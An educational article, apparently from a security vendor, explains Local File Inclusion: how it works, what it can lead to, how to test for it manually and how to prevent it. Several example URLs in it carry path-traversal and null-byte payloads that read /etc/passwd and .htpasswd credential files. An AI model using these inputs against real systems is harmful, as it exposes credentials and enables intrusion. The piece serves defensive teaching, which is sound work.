In some cases, if the application provides the ability to upload files, attackers can run any server-side malicious code they want. Most applications do not provide this capability, and even if they do, the attacker cannot guarantee that the app saves the file on the server where the LFI vulnerability is located. The attacker will also need to know the file path to their uploaded file on the server file system.

Impact of Exploited Local File Inclusion vulnerabilities

The impact of a Local File Inclusion attack can vary based on the exploitation and the read permissions of the webserver user. Based on these factors, an attacker can gather usernames via an /etc/passwd file, harvest useful information from log files, or combine this vulnerability with other attack vectors (such as file upload vulnerability) to execute commands remotely.

Let’s take a closer look at three possible outcomes of local file inclusion:

1. Information disclosure

Although not the worst outcome of a local file inclusion vulnerability, information disclosure can reveal important information about the application and its configuration. That information can be valuable to an attacker to gain a deeper understanding of the application and can help them detect and exploit other vulnerabilities.

2. Directory Traversal

A local file inclusion vulnerability can lead to Directory Traversal attacks, where an attacker will try to find and access files on the web server to gain more useful information, such as log files. Log files can reveal the structure of the application or expose paths to sensitive files.

An incorrectly configured server can give attackers access to user config files, giving them access to other files on your server, or even gain administrator access. 

If you want to learn more about directory traversal, we have a great article that covers this vulnerability in more depth – Directory Traversal: Examples, Testing, and Prevention

3. Remote Code Execution

Combined with a file upload vulnerability, a Local File vulnerability can lead to remote code execution. In this case the attacker would use LFI to execute the unwanted file.

To compound matters, an attacker can upload a file to the server to gain the ability to execute commands remotely, resulting in the attacker being able to control the whole server remotely.

Learn more in our detailed guide to file inclusion vulnerability.

Scenarios Where Local File Inclusions Are Used

Including Files to be Parsed by the Language’s Interpreter

Developers usually divide a website’s code into directories, multiple files, etc. to make everything neat and readable. In order for an interpreter to find these files you need to designate the correct file path and then pass it to a function. The function then opens the file in question and includes it inside the document for the parser to be able to see it as valid code that can be interpreted.

What happens when there’s no effective filtering? Well, code like this:

https://example-site.com/?module=contact.php

Can be changed to look like this:

https://example-site.com/?module=/etc/passwd

As you can see, the contact.php part of the code was replaced with /etc/passwd. Passwords, username information, the attacker can see the content of everything depending on what they are looking for. That’s not all, as more severe cases include the injection of code on the webserver. The parser then interprets this code as an instruction that can exploit an LFI vulnerability. Some hackers can use the Local File Inclusion vulnerability to stage a directory traversal/path traversal attack that in turn gives the hacker full access to error.log and access.log or some other type of sensitive meta-data.

Including Files that are Printed to a Page

A developer sometimes wants to share the output of a file across multiple web pages. A header. file or something similar. To keep things quick, a dev wants the change of this file to be seen on all pages where it was included immediately. This file, while standardly plain HTML, can also be used to display ordinary text files:

https://example-site.com/?helpfile=login.txt

This way the content of the text file gets printed straight to the page. The information isn’t stored in any database. A hacker will exploit this and alter the link if no filter stops them. Then helpfile=login.txt becomes helpfile=../secret/.htpasswd and all of a sudden the hacker has access to the password hashes of a .htpasswd file. A file that includes all the credentials of any user that can access a restricted area of that webserver. Naturally, this information falling into the hands of a hacker is a terrible thing for a company and is a severe security threat.

Including Files that are Served as Downloads

Lastly, we have types of files that all web browsers automatically open. A PDF, for example. Users can configure this so the files get downloaded instead of shown in the browser window. That’s achieved by adding an additional header that tells the browser to do things differently. A simple Content-Disposition: attachment; filename=file.pdf addition in the request and now the files are downloaded instead of opened. An example would look something like this:

https://example-site.com/?download=brochure.pdf

An issue arises when the request isn’t sanitized. This way the hacker has the option of requesting the download of the base files (the building blocks of the web app). They can then read the source code and find other web application vulnerabilities, making that hacker an enormous threat to your cybersecurity.

Related content: Read our guide to lfi attack.

Manually Testing for Local File Inclusion

Here are a few ways to test for LFI vulnerabilities in your web applications.

Null Byte Injection

The terms “null character”, “null terminator”, and “null byte” all refer to a control character where the value zero is present in the reserved character sets used to mark the end of the string. The null byte ensures that any character following it is ignored. 

Typically, a null byte is injected as %00 at the end of a URL. Here is an example:

https://example-site.com/preview.php?file=../../../../../passwd%00

Path and Dot Truncation

The majority of PHP installations limit filenames to 4096 bytes. If a filename is longer, PHP truncates it and discards all additional characters. However, attackers can remove the 4096 bytes limitation from the .php extension, manipulating the process. In this case, no error is triggered, additional characters are dropped, and the PHP engine continues its execution.

Typically, attackers combine this bypass with other logic bypass techniques. For example, attackers might introduce double encoding, encode part of a file path with Unicode, or use other inputs that represent a valid filename.

PHP Wrappers

LFI vulnerabilities usually give attackers read-only access to sensitive data, granted from the host server. There are, however, ways to turn this read-only access into a fully compromised host. This type of attack is called Remote Code Execution (RCE). Attackers create RCE vulnerabilities by combining an LFI vulnerability with PHP wrappers. 

A wrapper is an entity that surrounds another entity (in this case – code). The wrapper can contain functionality added to the original code. PHP uses built-in wrappers, which are implemented alongside file system functions. Attackers use this native functionality of PHP to add vulnerabilities into wrappers.

Here are two commonly used wrappers:

  • PHP filter – provides access to a local file system. Attackers use this filter to read PHP files containing source code, typically for the purpose of identifying sensitive information, including credentials.
  • PHP ZIP – this wrapper was designed to manipulate files compressed into a ZIP format. However, its behavior enables attackers to create a malicious ZIP file and upload it to the server. 

There are many more wrappers that could be exploited by attackers. Some PHP wrapper vulnerabilities are well known while others require deep ad hoc analysis to be discovered.

Preventing Local File Inclusion vulnerabilities

Here are a few ways to prevent LFI attacks:

  • ID assignation – save your file paths in a secure database and give an ID for every single one, this way users only get to see their ID without viewing or altering the path
  • Whitelisting  – use verified and secured whitelist files and ignore everything else
  • Use databases – don’t include files on a web server that can be compromised, use a database instead
  • Better server instructions – make the server send download headers automatically instead of executing files in a specified directory

Common Real-World Examples of Local File Inclusion (LFI) Attacks

A Local File Inclusion attack does not look like a big deal at first. It often starts with something like a file parameter in a URL. For example, if a web application loads pages using something like ?page=home.php, an attacker might try replacing that value with system files. This is a Local File Inclusion attack.

In life, attackers use inputs like../../../../etc/passwd to access sensitive files on the server. If the web application does not properly check the paths, it ends up showing data. Sometimes the goal is not just to read files. Local File Inclusion attackers may use this to access logs or temporary files that contain code, which can lead to the code being executed.

What makes Local File Inclusion tricky is that it looks normal. It is just file access. It is slightly manipulated. That small mistake is often enough to cause problems.

Local File Inclusion vs Remote File Inclusion (LFI vs RFI)

When people first learn about a Local File Inclusion attack, they often get it mixed up with Remote File Inclusion. The difference is small but important. In Local File Inclusion, the attacker can only access files that are already on the server. They are basically navigating the system in ways they should not be.

Remote File Inclusion, on the other hand, allows attackers to load files from an external source. This means an attacker can host a script somewhere else and force the web application to execute it. It is generally more dangerous, but less common, because modern web applications block it by default.

Local File Inclusion is still widely seen because it does not require access, just poor input handling. In cases, Local File Inclusion attackers use this with other techniques to make the impact worse, turning simple file access into something more serious. Local File Inclusion is a problem because it can be used to access files on the server.

Tools and Techniques Used to Detect LFI Vulnerabilities

Finding a Local File Inclusion vulnerability usually starts with testing how the web application handles file paths. One simple method is to change parameters and see how the web application responds. If changing a file path shows data that is a sign of a problem.

Security testers often use tools like Burp Suite to intercept requests and try bad inputs. Automated scanners can also help. They do not always catch deeper issues, especially if the vulnerability depends on specific conditions.

Another common technique is to try file paths like directory traversal patterns or encoded inputs. Logs and error messages can also provide clues. Detection is not about finding access; it is about understanding how far that access goes and whether it can be abused further. Local File Inclusion detection is important to prevent attackers from accessing files.

Best Practices for Secure File Handling in Web Applications

Preventing a Local File Inclusion attack mostly comes down to controlling how files are accessed in the web application. The safest approach is to avoid using direct user input in file paths. Instead, map inputs to predefined values.

For example, when accepting a file name, use a fixed list of allowed options. This removes the risk of file access. Input validation also plays a role. Relying only on filters can be risky. Local File Inclusion prevention is important to secure the web application.

Developers should also restrict file system permissions so that even if something goes wrong, the damage is limited. Avoid exposing directories and disable unnecessary file inclusion features. These steps may seem small. Together, they significantly reduce the chances of Local File Inclusion vulnerabilities being exploited. Local File Inclusion is an issue that can be prevented with proper security measures.

How Bright Can Help You Find LFI Vulnerabilities

Bright can help you scan web applications to make sure no one tinkered with the code and tried to use Local File Inclusion to steal sensitive information. 

Bright is an automated black-box security testing solution that scans your entire application on its own, identifies any vulnerabilities, then notifies you of their existence and tells you how to remedy them. Bright saves time by finding LFI vulnerabilities and telling you how to fix them. For example, in the example below:

https://example-site/bar/file=content.ini..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd

Bright shows the original part of the code in red. The green part of the code is the one that was altered by someone. Our tool also provides remedy guidelines that can help a developer or SecOps team member instantly remediate the vulnerability. 

Learn more about Bright and get started today!

See Additional Guides on Key Application Security Topics

Together with our content partners, we have authored in-depth guides on several other topics that can also be useful as you explore the world of application security.

Vulnerability Management

Authored by Bright Security

API Security

Authored by Bright Security

SSRF

Authored by Bright Security